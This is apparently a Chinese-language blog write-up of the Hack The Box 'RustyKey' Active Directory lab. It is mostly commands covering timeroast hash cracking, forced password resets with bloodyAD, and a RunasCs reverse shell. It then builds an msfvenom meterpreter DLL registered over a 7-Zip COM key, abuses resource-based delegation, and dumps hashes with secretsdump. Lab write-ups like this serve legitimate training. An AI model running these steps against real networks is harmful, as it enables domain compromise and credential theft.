826 字
4 分钟
HTB-Rustykey WriteUp
2025-10-30
统计加载中...

1. Recon#

扫描端口

/usr/lib/nmap/nmap -sT -min-rates 10000 -iL ip.txt -oA nmapscan/ports -Pn
...
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman

将域名加入 hosts 文件解析

echo "10.10.11.75 rustykey.htb dc.rustykey.htb" >> /etc/hosts

同步时钟

ntpdate 10.10.11.75

配置 krb 文件

vim /etc/krb5.conf
[libdefaults]
default_realm = RUSTYKEY.HTB
dns_lookup_realm = false
dns_lookup_kdc = false
[realms]
RUSTYKEY.HTB = {
kdc = 10.10.11.75
admin_server = 10.10.11.75
}
[domain_realm]
.rustykey.htb = RUSTYKEY.HTB
rustykey.htb = RUSTYKEY.HTB

2. Foothold#

已经题目给出的凭证,使用 nxc 判断目标服务支持的登录类型 image.png 获取 TGT 查看共享,并未找到有利用价值的信息

impacket-getTGT 'RUSTYKEY.HTB/rr.parker:8#t5HE8L!W3A'
export KRB5CCNAME=rr.parker.ccache
impacket-smbclient -k -no-pass RUSTYKEY.HTB/[email protected]

尝试 timeroast

nxc smb dc.rustykey.htb -M timeroast

image.png 将获取到的 hash 进行爆破 (需要 hashcat v7.1.2)

hashcat -a 0 -m 31300 hashs.txt /usr/share/wordlists/rockyou.txt
hashcat (v7.1.2) starting
...
$sntp-ms$f3d22c6f9277010a267f2843b03f777d$1c0111e900000000000af2164c4f434cecacd4f92e8d0536e1b8428bffbfcd0aecae1421e284a515ecae1421e284eb8c:Rusty88!
...

根据 RID 搜索到用户 IT-COMPUTER3.RUSTYKEY.HTB image.png 信息收集一波

bloodhound-python -u 'IT-COMPUTER3' -p 'Rusty88!' -d rustykey.htb -ns 10.10.11.75 -c All --zip

这边可见一条路线

image.png 但最终EE.REED 用户无法登陆,发现 [email protected] 属于 IT 组,该组同样可远程管理域控

image.png 且 [email protected] 对 [email protected] 有 ForceChangePassword 权限

image.png

AddSelf,将 IT-COMPUTER3$ 添加至 HELPDESK 组中

bloodyAD -d rustykey.htb -u IT-COMPUTER3$ -p 'Rusty88!' -k --dc-ip 10.10.11.75 --host dc.rustykey.htb add groupMember 'CN=HELPDESK,CN=USERS,DC=RUSTYKEY,DC=HTB' IT-COMPUTER3$

ForceChangePassword,修改 BB.MORGAN 口令

bloodyAD -d rustykey.htb -u IT-COMPUTER3$ -p 'Rusty88!' -k --dc-ip 10.10.11.75 --host dc.rustykey.htb set password BB.MORGAN '1qaz!QAZ'

直接登录发现加密类型不支持 image.png 发现 IT 在保护组之下

image.png 移出保护组

bloodyAD -d rustykey.htb -u IT-COMPUTER3$ -p 'Rusty88!' -k --dc-ip 10.10.11.75 --host dc.rustykey.htb remove groupMember 'CN=PROTECTED OBJECTS,CN=USERS,DC=RUSTYKEY,DC=HTB' IT

登录 bb 用户

impacket-getTGT 'RUSTYKEY.HTB/bb.morgan:1qaz!QAZ'
export KRB5CCNAME=bb.morgan.ccache
evil-winrm -i dc.rustykey.htb -r RUSTYKEY.HTB -k bb.morgan.ccache

3. PrivEsc#

在桌面中发现 internal.pdf

Terminal window
*Evil-WinRM* PS C:\Users\bb.morgan\Documents> ls ../Desktop
Directory: C:\Users\bb.morgan\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 6/4/2025 9:15 AM 1976 internal.pdf
-ar--- 10/31/2025 11:02 AM 34 user.txt

将其下载

*Evil-WinRM* PS C:\Users\bb.morgan\Documents> download ../Desktop/internal.pdf

大致意思为,support 组有使用加解压功能的权利,且可以控制相关的注册表

image.png

修改 EE 口令,并将 SUPPORT 移出 PROTECTED 组

bloodyAD -d rustykey.htb -u IT-COMPUTER3$ -p 'Rusty88!' -k --dc-ip 10.10.11.75 --host dc.rustykey.htb set password EE.REED '1qaz!QAZ'
bloodyAD -k --host dc.rustykey.htb -d rustykey.htb -u 'IT-COMPUTER3$' -p 'Rusty88!' remove groupMember 'PROTECTED OBJECTS' 'SUPPORT'

虽 EE.REED 与 BB.MORGAN 同属 PROTECTED 组,但将 EE.REED 移出该组后仍无法登录。

image.png

因此,尝试使用 Runascs.exe 反弹 shell

*Evil-WinRM* PS C:\Users\bb.morgan\Documents> upload RunasCS.exe
*Evil-WinRM* PS C:\Users\bb.morgan\Documents> .\RunasCS.exe ee.reed 1qaz!QAZ powershell.exe -r YOUR_IP:YOUR_PORT

监听端口,接收反弹 shell

image.png

递归查询与 zip 相关的 COM 组件,发现已有一个 C:\Program Files\7-Zip\7-zip.dll

Terminal window
PS C:\Windows\system32> reg query HKCR\CLSID /s /f "zip"
reg query HKCR\CLSID /s /f "zip"
HKEY_CLASSES_ROOT\CLSID\{23170F69-40C1-278A-1000-000100020000}
(Default) REG_SZ 7-Zip Shell Extension
HKEY_CLASSES_ROOT\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32
(Default) REG_SZ C:\Program Files\7-Zip\7-zip.dll
HKEY_CLASSES_ROOT\CLSID\{888DCA60-FC0A-11CF-8F0F-00C04FD7D062}
(Default) REG_SZ Compressed (zipped) Folder SendTo Target
FriendlyTypeName REG_EXPAND_SZ @%SystemRoot%\system32\zipfldr.dll,-10226
HKEY_CLASSES_ROOT\CLSID\{888DCA60-FC0A-11CF-8F0F-00C04FD7D062}\DefaultIcon
(Default) REG_EXPAND_SZ %SystemRoot%\system32\zipfldr.dll
HKEY_CLASSES_ROOT\CLSID\{888DCA60-FC0A-11CF-8F0F-00C04FD7D062}\InProcServer32
(Default) REG_EXPAND_SZ %SystemRoot%\system32\zipfldr.dll
HKEY_CLASSES_ROOT\CLSID\{b8cdcb65-b1bf-4b42-9428-1dfdb7ee92af}
(Default) REG_SZ Compressed (zipped) Folder Context Menu
HKEY_CLASSES_ROOT\CLSID\{b8cdcb65-b1bf-4b42-9428-1dfdb7ee92af}\InProcServer32
(Default) REG_EXPAND_SZ %SystemRoot%\system32\zipfldr.dll
HKEY_CLASSES_ROOT\CLSID\{BD472F60-27FA-11cf-B8B4-444553540000}
(Default) REG_SZ Compressed (zipped) Folder Right Drag Handler
HKEY_CLASSES_ROOT\CLSID\{BD472F60-27FA-11cf-B8B4-444553540000}\InProcServer32
(Default) REG_EXPAND_SZ %SystemRoot%\system32\zipfldr.dll
HKEY_CLASSES_ROOT\CLSID\{E88DCCE0-B7B3-11d1-A9F0-00AA0060FA31}\DefaultIcon
(Default) REG_EXPAND_SZ %SystemRoot%\system32\zipfldr.dll
HKEY_CLASSES_ROOT\CLSID\{E88DCCE0-B7B3-11d1-A9F0-00AA0060FA31}\InProcServer32
(Default) REG_EXPAND_SZ %SystemRoot%\system32\zipfldr.dll
HKEY_CLASSES_ROOT\CLSID\{ed9d80b9-d157-457b-9192-0e7280313bf0}
(Default) REG_SZ Compressed (zipped) Folder DropHandler
HKEY_CLASSES_ROOT\CLSID\{ed9d80b9-d157-457b-9192-0e7280313bf0}\InProcServer32
(Default) REG_EXPAND_SZ %SystemRoot%\system32\zipfldr.dll
End of search: 14 match(es) found.

制作带有反弹 shell 功能的 dll

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=YOUR_IP LPORT=YOUR_PORT -f dll -o rev.dll

监听

msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set LPORT YOUR_PORT
msf6 exploit(multi/handler) > set LHOST YOUR_IP
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > run

上传恶意 dll,并用其替换 C:\Program Files\7-Zip\7-zip.dll

PS C:\Windows\system32> mkdir C:\temp
PS C:\Windows\system32> cd C:\temp
PS C:\Windows\system32> upload rev.dll
PS C:\temp> reg add "HKLM\Software\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32" /ve /d "C:\temp\rev.dll" /f
The operation completed successfully.

成功接收

image.png 继续使用 sharphound 收集域内信息

Terminal window
PS C:\Windows> upload sharphound.ps1
PS C:\Windows> Import-Module .\SharpHound.ps1
PS C:\Windows> Invoke-BloodHound -CollectionMethod All -ZipFileName C:\temp\res.zip

发现 MM.TURNER 对 DC 具有 AddAllowToAct 权限

PS C:\Windows> Set-ADComputer -Identity DC -PrincipalsAllowedToDelegateToAccount IT-COMPUTER3$

可以在此直接输出 flag

impacket-getST -spn 'cifs/DC.rustykey.htb' -impersonate backupadmin -dc-ip 10.10.11.75 -k 'RUSTYKEY.HTB/IT-COMPUTER3$:Rusty88!'
export KRB5CCNAME=backupadmin@[email protected]
impacket-wmiexec -k -no-pass 'RUSTYKEY.HTB/[email protected]'

转储 administrator hash

impacket-secretsdump -k -no-pass 'rustykey.htb/[email protected]'

4. Reference#

timeroasting

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HTB-Rustykey WriteUp
https://blog.41an.com/posts/htb-rustykey/
作者
Alan
发布于
2025-10-30
许可协议
CC BY-NC-SA 4.0

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